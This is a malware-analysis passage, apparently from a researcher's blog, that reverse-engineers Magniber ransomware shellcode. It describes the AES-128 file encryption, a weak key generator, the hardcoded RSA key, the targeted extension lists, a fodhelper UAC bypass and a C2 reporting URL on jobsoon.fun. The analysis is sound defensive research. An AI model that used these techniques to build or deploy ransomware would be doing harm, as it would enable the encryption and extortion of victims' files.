Arg[4] = ptr 0x000000000014ea38 -> {\x00\x00\x00\x00\x00\x00\x00\x00} Arg[5] = ptr 0x0000000013990000 -> {\xe4|\xfa\x96\xeb!\x89\xea} Arg[6] = 0x0000000000000100 = 256 Arg[7] = 0 Arg[8] = 0 19689;SYSCALL:0x1e(NtFreeVirtualMemory) 196b5;SYSCALL:0xf(NtClose) 196b5;SYSCALL:0xf(NtClose) 196b5;SYSCALL:0xf(NtClose)
Files are repeatedly read, and then written to. We can see a heavily use of the function NtQueryPerformanceCounter
in each such round. This function is a low-level equivalent of QueryPerformanceCounter
, which MSDN explains in the following way:
Retrieves the current value of the performance counter, which is a high resolution (<1us) time stamp that can be used for time-interval measurements.
I suspect that this ransomware uses it as a source of entropy, but we will see if this assumption is valid using static analysis…
Having the tags generated by Tiny Tracer, we can apply them into IDA, or Ghidra, using the tools mentioned here.
I loaded the Tags into IDA, using IFL plugin, and renamed the functions with syscalls accordingly to what system function do they execute.
Now we can follow the interesting functions by their references, to see the whole code context in which they are executed.
When we come in contact with a new ransomware, often the first questions we ask is, if it is decryptable, and what is the scale of the damage done. In order to know it, we will analyze what algorithm is used, how the keys are generated, how the keys are protected, etc.
The function responsible for file encryption can be found by following the references of NtReadFile
.
Between the reads and the writes into a file (NtReadFile
and NtWriteFile
) we can find how the read chunk is being encrypted:
Most of the ransomware authors use AES for file encryption. Magniber follows this trend. But the intresting part is the implementation. Instead of using a common implementation that works at a higher abstraction level (and i.e. leverage some of the known libraries, or Windows Crypto API as the old Magniber did) authors made a bold choice to go for a low-level one, via the (relatively) new Intel instructions for AES encryption (AES-NI extension). Using AES-NI allows for much faster encryption, but the cost of is to drop the backward compatibility with older machines that don’t support it. As well it makes the used algorithm obvious at first look at the assembly, which is not neccessarily beneficial from the malware author’s perspective.
First, the key is initialized by the function that also has AES-NI based implementation (referenced as aes_low_level_keygen
):
We can see the AES-NI instruction AESKEYGENASSIST used in order to prepare the AES context.
Then we can see how the next chunk of data is loaded, and encrypted by consecutive AES rounds, using the instruction AESENC. At the end, an instruction AESENCLAST is used to finalize the encryption.
The next important point is to check how the AES key gets generated.
By observing the flow earlier on, I started to suspect that the function NtQueryPerformanceCounter
is used as a source of entropy, to initialize all sort of pseudorandom variables. Indeed, this native function is incorporated in a function made for generating random values:
The function has the following prototype, allowing to supply the range from which the random number should be selected:
__int64 __fastcall make_pseudo_random(unsigned int min, unsigned int max);
The function comes with a table of 100 pseudorandom DWORDs. Then, a simple algorithm making use of NtQueryPerformanceCounter
is executed, in order to select a random index from this table. Basing on the value from the table at this index, and the given min and max values, the final pseudorandom value is calculated. In case if the calculated value failed to fit in the range, a new attempt is made recursively.
The interesting point at this moment is, that the random value is selected in fact from the hardcoded table. So, if we consider that our random value must be of size 1 byte, then, instead of the typical range of 255 options to select from, the range of options narrows down to 100 which is the table size.
Note, that we can see some general similarities with the analogous function from the old edition of Magniber, yet the implementation differs:
The random generator used in the old Magniber (2017)
Yet, in the old version this random generator is not used to derive the keys.
We must note that neither GetTickCount,
nor NtQueryPerformanceCounter
is a cryptographicaly secure source of entropy. In both cases, the values generated are incremental, not random, and relative to the system start. Yet, GetTickCount
has lower resolution, so finding the initial value that started the series (seed) is much easier.
The aforementioned function is used in multiple places in the code, but what interests us the most at this point, is that is is used for the generation of AES key and IV used for files encryption:
Both AES key and IV are 16 bytes long, which makes it AES 128.
The range from which the values are selected is 1 to 254, which is yet more narrow than typical 0 to 255.
I conducted and experiment by hooking the function, and checking what is the possible set of the values of one pseudorandom byte from this range. It turns out, that this set has only 67 elements (unlike 255, as it would be for the full BYTE range):
{ 5, 9, f, 13, 15, 1d, 20, 23, 2f, 31, 33, 35, 37, 39, 3d, 3f, 41, 45, 47, 49, 4b, 55, 59, 5b, 5d, 61, 62, 63, 64, 69, 6b, 6c, 6f, 72, 79, 7e, 7f, 81, 83, 87, 8f, 90, 91, 93, 97, 99, 9d, 9f, a1, a7, ab, af, b3, c1, c3, cb, cd, d5, e1, e5, e7, e9, eb, f3, f4, f7, fb }
So, in order to generate the key, we are selecting 16 values out of the 67 elements set, which gives 67^16 permutations. It gives 1.6489096e+29. So, although the key is a bit weakened, it is still impossible to brutforce.
Generated AES key and IV:
We can further confirm that the generated key was used to initialize the AES context:
By supplying the dumped data to CyberChef, we can confirm that it is a valid implementation of AES 128, and the used mode is CBC .
The same cipher was used by the old Magniber’s edition: yet, its implementation, as well as key generation was very different.
Even if the AES key and IV have been generated properly, there is still one point of a possible weakness, and that is about how they are protected.
After the encrypted chunks of the file are being written, there is yet another call to NtWriteFile
. This time it is used to save the encrypted AES key and IV.
The algorithm used to protect them seems to be a custom implementation of RSA (we will verify its correctness further on).
The generated key and IV are stored together in a buffer, and then passed to the asymmetric crypto function.
The ransomware uses attacker’s public key that is hardcoded in the binary:
The public key is copied and passed to the function:
Once the buffer containing the AES key and IV is passed to the function, the random padding is appended to it:
Inside the function denoted as apply_assymmetric_crypto
we can see some building blocks typical for RSA:
The prepared data, containing the AES key and IV are encrypted, and then copied to the output buffer.
Verifying the RSA implementation by static analysis may be a laborious tasks. So, I am gonna use a shortcut. I will dump the data involved in the encryption process: n – key, e – exponent, and m – message, and repeat the encryption with the help of public tools, where I am sure the RSA has been implemented correctly. If I can obtain the same ciphertext, it means that the implementation in the malware is valid.
I hooked the function apply_assymmetric_crypto
and dumped the elements listed below. Full code of the loader can be found here.
Mind the fact that the order of bytes in the dumped buffer needs to be reversed. This can be done conveniently with CyberChief. Example here.
RSA key components:
e = 10001
n = c6 c2 f7 3c 03 46 3d 1b 4e 3e a9 03 bb 4d 3a 6c cb f3 88 cf 53 5b 43 cb 75 17 97 8a 73 c6 88 01 46 ba cd 65 69 bf ef 20 f0 0a b2 a7 99 6d 3c 87 f1 a5 21 94 c1 53 1f 8c b6 69 3d 7e d0 d4 a4 ba 63 d1 37 8e 0f af 4b b5 71 4e 58 d0 7e 64 a0 2f 4d 16 43 fa 9f 51 19 b3 99 5d 7c 7d 66 e0 62 06 d3 cd 1c 63 76 5e 25 64 84 a1 dc 1e 09 84 e6 76 e3 48 aa a7 c3 66 e2 28 9f 3c 81 64 5b 6a 04 3d 92 e7 bf e9 65 39 c3 f6 53 fa 70 96 11 15 a5 50 75 76 e7 31 94 53 7c e6 5a bb 75 19 7a 6f 21 3b e0 db 42 cb 9f c7 d2 04 80 70 e8 83 d5 35 1e a7 40 ef d6 42 8c 2e 5e de f0 c9 51 fe 80 0f 6b 0b 16 13 3e 2b f1 e2 12 d9 58 8b 18 47 77 b2 2f 83 53 d6 a9 74 99 18 e2 ec 14 36 d1 6a bd 5c 00 77 ae 7f 52 26 7b e9 04 02 a8 e1 12 53 50 6c b8 34 2d da 11 bd c6 c4 b7 d9 19 02 16 9b 32 b4 1f 15
Content to be encrypted: random AES key + IV (hilighted) + padding:
m = 00 02 ab 7e 91 79 c1 59 64 2f 7e af 7f c1 59 eb 13 7e af 7f 33 59 b3 0f 79 a1 1d 31 37 b3 0f 8f 9d 1d 35 81 c3 0f 6f 91 ab e1 81 64 41 6f 91 79 e1 81 64 2f 7e 91 7f 33 59 eb 13 79 af 7f 33 37 b3 13 35 59 e7 72 41 f7 eb e5 f4 fb 72 41 f7 93 39 f4 fb ab eb f7 6f 91 ab e1 81 64 41 6f 91 79 c1 81 64 13 7e af 7f 33 72 41 f7 93 e5 f4 fb ab eb 41 6f 91 ab e1 81 64 41 6f 91 79 e1 81 64 2f 7e cd 99 e7 09 97 33 3d 61 3f 79 45 97 33 93 e5 f4 fb ab 41 f7 93 39 ab fb 81 64 41 6f 91 79 c1 81 64 13 7e af 7f 33 37 eb 13 8f a1 1d 31 55 b3 0f 6c e7 c3 35 81 cb cb 6c e7 5d 5b 20 99 b3 ab 83 90 15 69 05 b3 49 5b 8f 62 59 79 0f 49 b3 15 7f 63 41 6c e7 5d 33 20 99 41 ab 33 5d 33 a7 00 f7 93 39 ab e1 81 64 13 7e af 7f 31 37 b3 cb 6c e7 63 3d 05 b3 4b b3 8f 62 6b 59 e9 61 09 f3 33
The resulting ciphertext:
c = 11 2d 19 b0 82 4b 0b 24 88 e8 b7 db 00 1e 84 ef 92 6a b6 1c f2 90 49 df 42 e3 f2 c9 1a e0 9d 92 52 24 00 ad 09 5b 0a 85 0d 68 20 a2 ed 48 f1 2e 88 23 70 d5 d8 15 57 58 ef 94 34 9a 4c 12 79 0f 42 3c bc 5b 0a d1 5b 25 97 ce 67 8a d2 90 4a 87 e1 a8 6c 01 ca 1e 27 f9 4c 62 2a eb 58 89 d9 0e 02 65 9f 42 db 03 f1 7c bf d8 6f eb 09 42 e6 13 d6 e8 82 d6 05 7c c2 26 90 1c 89 2c 70 25 17 a0 7f 23 a1 4e b8 5a 16 f4 53 f8 aa 72 b1 2e 9b 04 1c 4e 33 a3 96 be f1 6f 0e 81 c5 91 3e 49 a2 0e cd 47 75 33 0d 67 6d f9 01 79 8d 43 3b bb 07 ac cf 12 ef ef eb 87 77 4b 9a fa 98 48 d5 1f cf 43 47 05 7f 6b da 16 f3 57 a7 39 f0 78 ec db a6 7e db 64 33 1c a6 b6 a0 8c 3c e5 8a d0 e6 ec da c5 b5 41 69 78 b5 e6 e1 f1 73 6e 5f d6 f7 69 64 16 32 1a ac 02 ee 5e 34 0f 7d f2 d0 cc 3b 55 10 60
Reproducing the steps with a public tool, at: https://www.boxentriq.com/code-breaking/modular-exponentiation :
We can see that indeed, our output is identical like the one generated by the malware, so the RSA implementation is correct. No luck this time!
However, since the malware doesn’t generate a new keypair per each victim, and only uses the RSA key hardcoded in the sample, it may be possible to reuse the private key once purchased from the attacker, and share it with other victims of the identical sample.
During the check with the help of FLOSS, we found in some directories hardcoded in the shellcode, that will be excluded from the encryption:
FLOSS static Unicode strings [...] documents and settings appdata local settings sample music sample pictures sample videos tor browser recycle windows boot intel msocache perflogs program files programdata recovery system volume information winnt [...]
This list is being used at the beginnign of the function responsible for encrypting directory content:
Yet, our extracted list of strings didn’t contain the attacked extensions – althougt it was clear during the behavioral analysis that not all files are encrypted. Let’s have a closer look at how this distinction is being made:
The filtering of the files is done, by calculating hashes of their extensions, and then comparing them with a hardcoded list.
The function calculating the extension hash:
The list of the valid extension hashes is hardcoded in the malware. We can find the matching extension just by a brutforce method.
Again, I didn’t want to waste time reimplementing functions responsible for hashing the extensions, and for checking them, so I just plug the functions from the original malware to my code. You can see the brutforcer here.
There are two list of extensions that can be selected depending on the flag passed to the function encrypting a directory:
List 0: arc asf avi bak bmp fla flv gif gz iso jpeg jpg mid mkv mov mpeg mpg paq png rar swf tar tbk tgz tif tiff vcd vmdk vob wav wma wmv zip List 1: abm abs abw act adn adp aes aft afx agif agp ahd ai aic aim albm alf ans apd apm apng aps apt apx art arw asc ase ask asm asp asw asy aty awdb awp awt aww azz bad bay bbs bdb bdp bdr bean bib bmx bna bnd boc bok brd brk brn brt bss btd bti btr c ca cals can cd cdb cdc cdg cdmm cdmt cdmz cdr cdt cf cfu cgm cimg cin cit ckp clkw cma cmx cnm cnv colz cpc cpd cpg cpp cps cpx crd crt crw cs csr csv csy ct cvg cvi cvs cvx cwt cxf cyi dad daf db dbc dbf dbk dbs dbt dbv dbx dca dcb dch dcr dcs dct dcx dd dds ded der dgn dgs dgt dhs dib dif dip diz djv djvu dmi dmo dnc dne doc docb docm docx docz dot dotm dotx dpp dpx dqy drw drz dsk dsn dsv dt dta dtsx dtw dv dvi dwg dx dxb dxf eco ecw ecx edb efd egc eio eip eit em emd emf emlx ep epf epp eps epsf eq erf err etf etx euc exr fa faq fax fb fbx fcd fcf fdf fdr fds fdt fdx fdxt fes fft fi fic fid fif fig flr fmv fo fodt fpos fpt fpx frm frt frx ftn fwdn fxc fxg fzb fzv gcdp gdb gdoc gem geo gfb gfie ggr gih gim gio glox gpd gpg gpn gro grob grs gsd gthr gtp gv gwi h hbk hdb hdp hdr hht his hp hpg hpi hs htc hwp hz ib ibd icn icon icpr idc idea idx igt igx ihx ii iiq imd info ink ipf ipx itdb itw iwi j jar jas java jbig jbmp jbr jfif jia jis jng joe jpe jps jpx jrtf js jsp jtf jtx jw jxr kdb kdbx kdc kdi kdk kes key kic klg knt kon kpg kwd lay lbm lbt ldf lgc lis lit ljp lmk lnt lrc lst ltr ltx lue luf lwo lwp lws lyt lyx ma mac man map maq mat max mb mbm mbox mdb mdf mdn mdt me mef mel mft mgcb mgmf mgmt mgmx mgtx min mm mmat mnr mnt mos mpf mpo mrg mrxs msg mud mwb mwp mx my myd myi ncr nct ndf nef nfo njx nlm now nrw nsf nyf nzb obj oce oci ocr odb odg odm odo odp ods odt of oft omf oplc oqy ora orf ort orx ost ota otg oti otp ots ott ovp ovr owc owg oyx ozb ozj ozt p pa pan pano pap pas pbm pcd pcs pdb pdd pdf pdm pds pdt pef pem pff pfi pfs pfv pfx pgf pgm phm php pic pict pix pjpg pjt plt pm pmg pni pnm pntg pnz pobj pop pot potm potx ppam ppm pps ppsm ppsx ppt pptm pptx prt prw psd psdx pse psid psp pst psw ptg pth ptx pu pvj pvm pvr pwa pwi pwr px pxr pza pzp pzs qd qmg qpx qry qvd rad ras raw rb rctd rcu rd rdb rft rgb rgf rib ric riff ris rix rle rli rng rpd rpf rpt rri rs rsb rsd rsr rst rt rtd rtf rtx run rw rzk rzn saf sam sbf scad scc sch sci scm sct scv scw sdb sdf sdm sdoc sdw sep sfc sfw sgm sh sig skm sla sld sldm sldx slk sln sls smf sms snt sob spa spe sph spj spp spq spr sq sqb srw ssa ssk st stc std sti stm stn stp str stw sty sub suo svf svg svgz sxc sxd sxg sxi sxm sxw tab tcx tdf tdt te tex text thp tlb tlc tm tmd tmv tmx tne tpc trm tvj udb ufr unx uof uop uot upd usr utxt vb vbr vbs vct vdb vdi vec vm vmx vnt vpd vrm vrp vsd vsdm vsdx vsm vstm vstx vue vw wbk wcf wdb wgz wire wks wmdb wn wp wpa wpd wpg wps wpt wpw wri wsc wsd wsh wtx x xar xd xdb xlc xld xlf xlgc xlm xls xlsb xlsm xlsx xlt xltm xltx xlw xps xwp xyp xyw ya ybk ym zabw zdb zdc zw
The encrypting function is going to be called twice, each time a different list is enabled:
So, both lists are going to be used.
The malware comes with an ability to communicate with the C2, for the purpose of upload of the statistics. After the series of encryption has finished, and if at least 100 files got encrypted, it sends an information about it to the server:
The passed data, including the unique victim ID, and various counts of the attacked targets, is merged together to create a URL. Example:
L"http://8e50de00b650821vieijibfm.jobsoon.fun/vieijibfm&2&1367508359&14525&55144&2219043"
The base URL (jobsoon.fun
) is hardcoded in the sample as a stack-based string, similarly to the name of the DLL to be loaded: wininnet.dll
, that will be used for the internet connection.
The relevant functions are loaded by their hashes, using the common technique involbing PEB lookup (similat to this one).
The UAC bypass attempt involving fodhelper.exe (based on the PoC: FodhelperBypass.ps1.), that we observed during the tracing is executed between two series of files encryption. First the malware is trying to encrypt files without elevating the privileges. After it finished, it makes attempt to deploy the UAC bypass (without any prior checks if it is required). Then another attempt of deploying the encryption functions is being made.
While analyzing the code, we can see references to some hardcoded memory address. Example:
This address resolves to KUSER_SHARED_DATA:
KUSER_SHARED_DATA
is a read-only memory page, containing a structure with many intresting information about the system, that is mapped both in the user mode and the kernel mode (more info here and here).
A convenient dump of the whole structure for a current system can be done with the help of WinDbg – example here. We can further use this dump to resolve what field is referenced by a particual address.
One of the fields that is quite often used by the malware is NtBuildNumber
. It is first used at the beginning of the shellcode – if the build number was lower than the hardcoded one, the malware won’t run at all:
This makes sense, because the numbers of syscalls may differ depending on Windows version – and this malware have them hardcoded. In order to guarantee a backward compatibility, the authors would have to retrieve the syscall numbers automatically from ntdll
. Clearly they wanted to avoid this hassle. As a result, all Windows version below 10 will be spared from this attack.
There are some cases, when still the proper syscall number need to be adjusted to a particular version of Windows. In order to do it, they just select a number of the syscall from multiple options, basing on the retrieved Windows build. Such implementation is used i.e. in case of NtUserSystemParametersInfo
:
…which is used for changing the wallpaper:
KUSER_SHARED_DATA
also provides an access to a system clock, so it can be used for various time checks:
In the current blog I wanted to demonstrate, how tracing with the help of Tiny Tracer can speed up the analysis process. It does not only give a high level overview of what is happening inside, but also it allows to quickly find where the relevant code is located in the binary. The generated tags can help us annotate the code in disassemblers and debuggers, helping to understand functions that are resolved dynamically, or like in the current case, by syscalls. I also demonstrate how to overcome some problems that can interfere with tracing.
In addition to tracing, I demonstrated some of my other tools that can be useful in the analysis process – such as PE-sieve/HollowsHunter for dumping of the injected shellcode.
Additionally, we analyzed the main shellcode of Magniber, containing the implementation of the files encryption. This shellcode (#2) is the part being injected to other processes. Note, that Magniber has yet another shellcode (#1), that is responsible for doing the the process injection. This shellcode showed up in the tracing. Yet, I am leaving its detailed analysis as an exercise to the reader.